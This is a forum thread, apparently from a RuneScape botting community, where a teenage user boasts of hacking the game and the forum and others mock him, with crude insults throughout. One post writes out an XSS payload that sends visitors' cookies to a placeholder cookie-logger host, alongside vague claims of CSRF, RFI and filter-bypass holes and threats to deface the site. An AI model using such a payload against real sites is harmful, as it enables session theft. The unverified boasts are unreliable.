Printable View
but for proof that i am not a skiddi check out hbh you might find another santa in there.
He happens to be ranked 88th out of 22,000 other users on a hacking community.
yeh your right that proves i know nothing of what im talking about.
oh jsut so you know
hbh=hellboundhackers
a white hat community.
Naughty Naughty Koolaid! (No triple posts)
wow I can't believe so many people believed him.....O.o
I'd need proof to believe that...
Quote:
Originally Posted by BobboHobbo
Ergh ive heard that hes the first player that came to RS and that RS has made him and given him all the stats he got..? cuz i have NEVER seen zezima or talked to him and i dont know anyone that has... so he gota be a PC or something :D
Santa, can you get more lame than this?
You think you can hack because you complete challenges on a site that have walkthrough for each challenge. You call whitehats stupid, and ask why we post exploits. Want answer? Because we can ;-)
The rank, how long did it take you to view source of a webpage so you can see what password variable in javascript contains. A year? I guess so. 22k members, I say atleast 80% of those didn't even start doing challenges.
If you're so sure about what you're talking, please tell me what OS are they running. I'm sure you'll say it's Linux. That tells me nothing, give me kernel version, services they run on a box... A simple nmap scan could tell you all that, but then again even if you were trying to attack box, you'd be attacking wrong server. Give me IP of the server which contains database with usernames and passwords, please.
They don't even shadow their /etc/passwd file? Shadowed passwords are located in /etc/shadow file, /etc/passwd shows only list of users, not the password itself. You think they all have same password X? Lmao.
You talk to people who can compile autorooter and run it, wow, that really requires some knowledge, I mean, what does C class mean...
Your own exploit techniques, don't tell me you have working copy of rs daemon and that you're actually tracing every call of every function to find a possible place to inject a shellcode. You generate your own payloads?
What you know is how to use john the ripper with a default list of passwords, you know how to compile and run exploit, what else do you know? Hi tech words... Ok what else?
It tells a lot of your personality, that you can't even take time to make a decent post, instead of making 3 stupid posts. What would happen when you would have to wait 3 days to crack a simple password using brute force... You'd die?
Cut that shit out, and go back under your rock.
Edit: You're 15, that means you still believe in Santa Claus?
Owned, yet again.
lol well as prof do i have permission from you as a dev to hack srl-forums?
I wouldnt do anything harmful just give myself a root shell.
Lol, idiot, root is harmfull (well, depends who has it), and the shell (in computer architecture is the UI, well, thats what I read it was) is just the UI of the computer, right? I doubt they're a word together.
And I'm guessing all this, and c0de can tell me if I'm right, but Its most likely better than your explanation.
you guys went from English to whoblahgblagh.
Seriously if you were a "Hacker" you would have better grammar.Quote:
Originally Posted by santascar
Rofl, exactly! How can so many people believe this guy?Quote:
Originally Posted by Starblaster100
He is quite clearly lying and has found no exploit allowing him to execute code server side.
He just wants people to bring autorune back.Quote:
Originally Posted by Sp0rky
ffs i dont even know what auto-rune is.
Cheating in runescape is just my way to blow off steam.
You may choose whether or not to believe me.
And root shell is kind of like slang.
Having a terminal shell with root privileges on a remote server is what it means.
AKA nothing to stop me rm-rf'ing the whole lot.
And yes i was wrong in one area c0de
this is only one of the "worlds" not the DB.
But the user and item data must be called from somewhere on the network.
And also whoever else said something about my grammar.
WTF grammar has nothing to do with whether or not your a hacker.
Because by your reckoning every single english teacher is a hacker.
so.
WTF
@robot1 hey ever heard of sarcasm?
STOP Double,triple,quadro-pento-sexto-septo posting. Use the stupid edit button.
And yes, go ahead, hack the SRL Forums, but post proofs, your talk only makes me laugh, what else are we going to see... your photo manipulation skills?
I hope you don't think ddos is way to hack, because man, you need some help...
I can go around and talk I've hacked the FBI.gov...
Proofs, proofs, proofs...
no im thinking more of ill just edit that little scroller thing on front page to say hacked.
Rofl, even tho that's called defacing, but yeah, go ahead, please do so. ;-)
So.Quote:
Originally Posted by santascar
What do you.
Want us to do.
For you.
If you "Hacked" runescape?
Also.
WTF.
How could you not know what auto-rune is FFS?
When you just talked about it?
*cough**cough*.Quote:
We should AutoRune again and give ourselves all 126'ers with every single item of value ten-fold and ban zezima?
No offense man.
You made.
Your self look stupid.
NOOO... value will drop to 1 P Hat = 1 Potato.Quote:
Originally Posted by lakerzz8
He's lying 'bout that, you know.
This is Santa
http://img405.imageshack.us/img405/1...ndyfromwn5.jpg
You were owned santa, go away pl0x!
Only thing you've proven here is that you know a couple fancy words, just get lost, you already got owned.. I guess "the show must go on".. And I can see how this goes. Now you act like you're going to hack this site, but you won't, and when you realize you can't hack, you'll just
a) leave and never return
b) make up a excuse and continue with this bullshit
c) get banned when people get tired enough with you.
aand before you google "omg 1337 DDOS h4x", that's not hacking.. And won't make your penis larger.
the guy has to give us some proof or its just talk :D
Rofled to that so that my head hurt.Quote:
And root shell is kind of like slang.
Meh, I believe you when you make the scrolling marquee say:
"Everyone go use n3ss3s SecurityGobliner! It kicks ass and is free for everyone! By Santa."
EDIT: Admins, no pranks plz.
Lol, it was crossing my head, and then I saw the edit lol.Quote:
Originally Posted by n3ss3s
c0de im writing you a PM as i speak but here is a prelim of what i have already found in your shit little mass produced CMS and bulletin board.
Dont make me laugh with "vBulletin" its so far from beign secure its not even funny.
Use php fusion if you want my advice.
That is the most secure.
Now for what i have found.
You have a CSRF hole in the forum.
Allowing automatic URL redirection.
All it requires is the addition of "%00" to the link.
The browser must recognize this as an image.
Now i would normally tell you how to patch this up but hmmmmm.
No you treated me like dirt.
Onto the second one.
You have an XSS in the PM system.
The threat here is i can redirect to a referer logger.
Where it will log your referer then i can forge the referer and hijack your session.
Allowing me to have admin.
(I am being so brief about these exploits because i dont want everyone on the forum to start XSS'ing and exploiting the exploits i found)
Yes c0de i found these.
They will not be on the web.
No where at all.
And you magic quotes filter or whatever it is needs to be upgraded.
Because i can bypass it by using a blocked word as my XSS alert broken by a semi-colon.
There you are.
More to come.
That proof enough for you that a 15 year old is a more competent computer hacker than you are?
XSS isn't really hacking? Nice try though, you almost sounded competent.
Whats with everyone owning this guy? :p
Noobs beware because C0de is 1337!
Damn c0de...what CANT you do :p
And whats a white hat community...? >.>
LOL XSS ISNT A HACK!!!
And you call me the noob?
Bah just quit the verbal posturing and move on to the important issue .. can I have some cheep p-hats plx? :p I got my last batch during the last dupe a few years ago ..............................
(accepting free p-hats via PM! :p)
<3
(PS: I know Zez and have talked with him on TS before .. he sounds like a girl and whines like one, too :()
meh....not funny?Quote:
Originally Posted by gillian
C'mon .. someone has to have a sense of humor here :) Never believed much in words .. only actions. Makes me giggle :p
Lol its funny.
The minute im proved wrong everyone is like "OMG IM SO LEET YOU GOT RAPED"
But when i prove you wrong its "Ummm no didnt happen anyway about this zezima guy"
m'dear .. I'm no scripter/hacker/whateva, but I do have some common sense and a strategical mind at times .. and if I knew what you say that you know - I surely wouldn't waste my time flaunting it on a public forum that Jagex reads. I would be formulating and then executing my plan for a Runescape-Wide domination .. free phats for all my friends plx .. full dragon for all! :) :p
*wanders back into my corner*
Wow, you can do much with XSS? You talk about security and then suggest someone elses software, if you were a hacker, you would suggest to write our own code ;)Quote:
Originally Posted by santascar
But then again, you only know about other peoples work... skiddie?
Who can access your inbox? Just yourself, so are you going to hijack your own cookies which are already stored in your computer?
Got anything else to make me laugh?
I'd love to see you get admin, and finish your part of deal, change the scrolling text up ;) Oh wait, HTML is too complicated for you?
Have mercy on the poor guy let him entertain us dawg.Quote:
Originally Posted by c0de
Lol c0de you never fail to amuse.
At the begining its always about jsut plain flameing now.
Well now you say XSS isnt a threat.
Your a dick head.
Ummm XSS.
so lets have a look at what i might put as the XSS.
window.location = "http://SantaServer.com/cookielogger.php?c="+document.cookie
So hmmm let me think.
WOW that means who ever goes to that is gunna have there own cookis logged.
You noobish'ness amuses me.
You say you know something.
Well then why are you not accepting the fact that i have found two deadly holes in your code.
Well it isnt actually yours.
But the reason i told you not to write your own.
Is because that would jsut be filled with holes the size of someones anus after they return from american prison.
And yes HTML is too complicated for me.
Thats why i can write in C, C++, perl, python and ASM.
Yeah you are right i cant write in the most simple fucking language on the planet.
You have pushed me too far c0de.
I no longer wish to deal with you or your stupid ways.
I will be dealing directly with the true admin of this site.
To help him fix the 7 holes i have now found.
By the way.
The most deadly of what i have found is an RFI hole.
Watch out for my very own php shell.
Just turn admin for gods sake! show us damn proof.
wow... i've read the whole thread and a lot of it is really amusing
but even though you make yourself look really good and you like to say the right words you aren't acting on them.
Maybe you can gain a little respect and stop the flame war by just changing the scroller... stop looking for holes and roots and just do it.. then maybe someone will listen
nice job c0de